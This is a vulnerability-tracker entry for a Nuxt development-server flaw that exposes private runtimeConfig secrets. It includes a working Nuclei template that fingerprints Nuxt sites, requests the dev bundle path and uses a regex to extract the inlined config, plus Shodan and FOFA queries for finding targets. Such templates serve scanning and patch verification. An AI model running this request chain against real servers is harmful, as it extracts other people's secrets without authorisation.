CVE-2026-119199: Nuxt < 4.6.3 - Private runtimeConfig Exposure via Dev Server

2026-11-29 PoC Public

Description

Nuxt 3.0.0 to 4.6.3 has an information disclosure flaw. Private runtimeConfig values, including secrets, are inlined into the Nitro 2 development bundle, which is exposed via Vite file serving. Remote attackers can read this configuration data if the server is reachable over HTTP.

Details

CVE
CVE-2026-119199 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-119199

info:
  name: Nuxt < 4.6.3 - Private runtimeConfig Exposure via Dev Server
  author: lior21d
  severity: medium
  description: |
    Nuxt 3.0.0 to 4.6.3 has an information disclosure flaw. Private runtimeConfig values, including secrets, are inlined into the Nitro 2 development bundle, which is exposed via Vite file serving. Remote attackers can read this configuration data if the server is reachable over HTTP.
  impact: |
    Remote attackers can access sensitive secrets and configuration data, which could compromise application security.
  remediation: |
    Update to version 4.6.3 or later.
  reference:
    - https://github.com/advisories/GHSA-648h-gw55-m2g7
    - https://github.com/nuxt/nuxt/commit/12b58f9
    - https://nvd.nist.gov/vuln/detail/CVE-2026-119199
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.9
    cve-id: CVE-2026-119199
    epss-score: 0.01328
    epss-percentile: 0.71155
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 2
    vendor: nuxt
    product: nuxt
    shodan-query: html:"__nuxt"
    fofa-query: body="__nuxt"
  tags: cve,cve2026,nuxt,nitro,exposure,vite,dev,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "__nuxt")'
        condition: and
        internal: true

  - raw:
      - |
        GET /_nuxt/.nuxt/dev/index.mjs HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "javascript")'
          - 'contains_all(body, "_inlineRuntimeConfig", "buildId")'
        condition: and

    extractors:
      - type: regex
        name: inline_runtime_config
        group: 1
        regex:
          - '_inlineRuntimeConfig = (\{.{1,300})'
# digest: 4b0a00483046022100a77cd20673afaecd157f2ee838f40578565dd39d97d618d5e166e278bd4d822d0221008f7b7380f68d3498565f706061924cd709f21b521eb852bc1737ddcd6dfcb036:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life